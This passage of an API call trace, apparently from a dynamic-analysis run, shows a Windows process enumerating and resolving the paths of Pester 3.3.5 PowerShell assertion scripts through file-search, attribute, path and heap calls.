dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Contain.ps1", cAlternateFileName="")) returned 1 [0231.275] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2933, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1 [0231.275] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c78fa, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511c78fa, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27e8, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1 [0231.275] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0231.276] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Exist.ps1", cAlternateFileName="")) returned 1 [0231.276] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2787, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1 [0231.276] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Match.ps1", cAlternateFileName="")) returned 1 [0231.276] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2869, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1 [0231.276] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1 [0231.276] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2815, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0231.277] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1 [0231.277] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x395e, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1 [0231.277] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Should.ps1", cAlternateFileName="")) returned 1 [0231.277] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b3d, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1 [0231.277] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1 [0231.277] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x9baaac, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0 [0231.278] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0231.278] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Be.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\be.ps1")) returned 0x20 [0231.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0231.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0231.280] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Be.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\be.tests.ps1")) returned 0x20 [0231.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0231.280] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeGreaterThan.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\begreaterthan.ps1")) returned 0x20 [0231.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0231.280] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeGreaterThan.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\begreaterthan.tests.ps1")) returned 0x20 [0231.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea478 | out: hHeap=0x2ad0000) returned 1 [0231.281] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeLessThan.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\belessthan.ps1")) returned 0x20 [0231.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0231.281] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881258, Size=0x20) returned 0x37341b0 [0231.282] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeLessThan.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\belessthan.tests.ps1")) returned 0x20 [0231.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0231.283] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeNullOrEmpty.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\benullorempty.ps1")) returned 0x20 [0231.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0231.283] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeNullOrEmpty.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\benullorempty.tests.ps1")) returned 0x20 [0231.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea1a8 | out: hHeap=0x2ad0000) returned 1 [0231.283] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Contain.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\contain.ps1")) returned 0x20 [0231.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0231.284] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37341b0, Size=0x40) returned 0x3887890 [0231.284] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Contain.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\contain.tests.ps1")) returned 0x20 [0231.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0231.285] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\ContainExactly.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\containexactly.ps1")) returned 0x20 [0231.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0231.286] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\ContainExactly.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\containexactly.tests.ps1")) returned 0x20 [0231.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea478 | out: hHeap=0x2ad0000) returned 1 [0231.286] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Exist.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\exist.ps1")) returned 0x20 [0231.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0231.286] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Exist.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\exist.tests.ps1")) returned 0x20 [0231.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0231.287] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Match.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\match.ps1")) returned 0x20 [0231.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0231.288] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Match.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\match.tests.ps1")) returned 0x20 [0231.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0231.288] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\MatchExactly.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\matchexactly.ps1")) returned 0x20 [0231.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0231.289] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887890, Size=0x64) returned 0x2a19968 [0231.289] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\MatchExactly.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\matchexactly.tests.ps1")) returned 0x20 [0231.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea040 | out: hHeap=0x2ad0000) returned 1 [0231.289] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\PesterThrow.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\pesterthrow.ps1")) returned 0x20 [0231.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0231.290] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\PesterThrow.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\pesterthrow.tests.ps1")) returned 0x20 [0231.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea220 | out: hHeap=0x2ad0000) returned 1 [0231.385] GetLastError () returned 0x12 [0231.385] GetLastError () returned 0x12 [0231.385] GetLastError () returned 0x12 [0231.385] GetLastError () returned 0x12 [0231.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0231.386] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Should.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\should.ps1")) returned 0x20 [0231.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0231.386] GetCurrentThreadId () returned 0x9b0 [0231.386] GetLastError () returned 0x12 [0231.386] GetLastError () returned 0x12 [0231.386] GetLastError () returned 0x12 [0231.387] GetLastError () returned 0x12 [0231.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0231.387] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Should.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\should.tests.ps1")) returned 0x20 [0231.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0231.387] GetLastError () returned 0x12 [0231.387] GetLastError () returned 0x12 [0231.387] GetLastError () returned 0x12 [0231.387] GetLastError () returned 0x12 [0231.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0231.388] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Test-Assertion.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions\\assertions\\test-assertion.ps1")) returned 0x20 [0231.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0231.388] GetCurrentThreadId () returned 0x9b0 [0231.388] GetLastError () returned 0x12 [0231.388] GetLastError () returned 0x12 [0231.388] GetLastError () returned 0x12 [0231.389] GetLastError () returned 0x12 [0231.389] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Be.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Be.ps1", lpFilePart=0x9bada4*="Be.ps1") returned 0x59 [0231.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.389] GetCurrentThreadId () returned 0x9b0 [0231.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0231.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0231.389] GetLastError () returned 0x12 [0231.389] GetLastError () returned 0x12 [0231.390] GetLastError () returned 0x12 [0231.390] GetLastError () returned 0x12 [0231.390] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Be.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\Be.Tests.ps1", lpFilePart=0x9bada4*="Be.Tests.ps1") returned 0x5f [0231.390] GetCurrentThreadId () returned 0x9b0 [0231.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0231.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0231.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0231.390] GetCurrentThreadId () returned 0x9b0 [0231.391] GetLastError () returned 0x12 [0231.391] GetLastError () returned 0x12 [0231.391] GetLastError () returned 0x12 [0231.391] GetLastError () returned 0x12 [0231.391] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeGreaterThan.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeGreaterThan.ps1", lpFilePart=0x9bada4*="BeGreaterThan.ps1") returned 0x64 [0231.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.391] GetCurrentThreadId () returned 0x9b0 [0231.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0231.392] GetCurrentThreadId () returned 0x9b0 [0231.392] GetLastError () returned 0x12 [0231.392] GetLastError () returned 0x12 [0231.393] GetLastError () returned 0x12 [0231.393] GetLastError () returned 0x12 [0231.393] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeGreaterThan.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeGreaterThan.Tests.ps1", lpFilePart=0x9bada4*="BeGreaterThan.Tests.ps1") returned 0x6a [0231.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0231.393] GetCurrentThreadId () returned 0x9b0 [0231.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0231.393] GetLastError () returned 0x12 [0231.394] GetLastError () returned 0x12 [0231.394] GetLastError () returned 0x12 [0231.394] GetLastError () returned 0x12 [0231.394] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeLessThan.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeLessThan.ps1", lpFilePart=0x9bada4*="BeLessThan.ps1") returned 0x61 [0231.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.394] GetCurrentThreadId () returned 0x9b0 [0231.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0231.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0231.395] GetCurrentThreadId () returned 0x9b0 [0231.395] GetLastError () returned 0x12 [0231.395] GetLastError () returned 0x12 [0231.395] GetLastError () returned 0x12 [0231.395] GetLastError () returned 0x12 [0231.395] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeLessThan.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeLessThan.Tests.ps1", lpFilePart=0x9bada4*="BeLessThan.Tests.ps1") returned 0x67 [0231.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.395] GetCurrentThreadId () returned 0x9b0 [0231.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0231.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0231.396] GetLastError () returned 0x12 [0231.396] GetLastError () returned 0x12 [0231.396] GetLastError () returned 0x12 [0231.396] GetLastError () returned 0x12 [0231.396] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeNullOrEmpty.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\BeNullOrEmpty.ps1", lpFilePart=0x9bada4*="BeNullOrEmpty.ps1") returned 0x64 [0231.396] GetCurrentThreadId () returned 0x9b0 [0231.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0231.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, 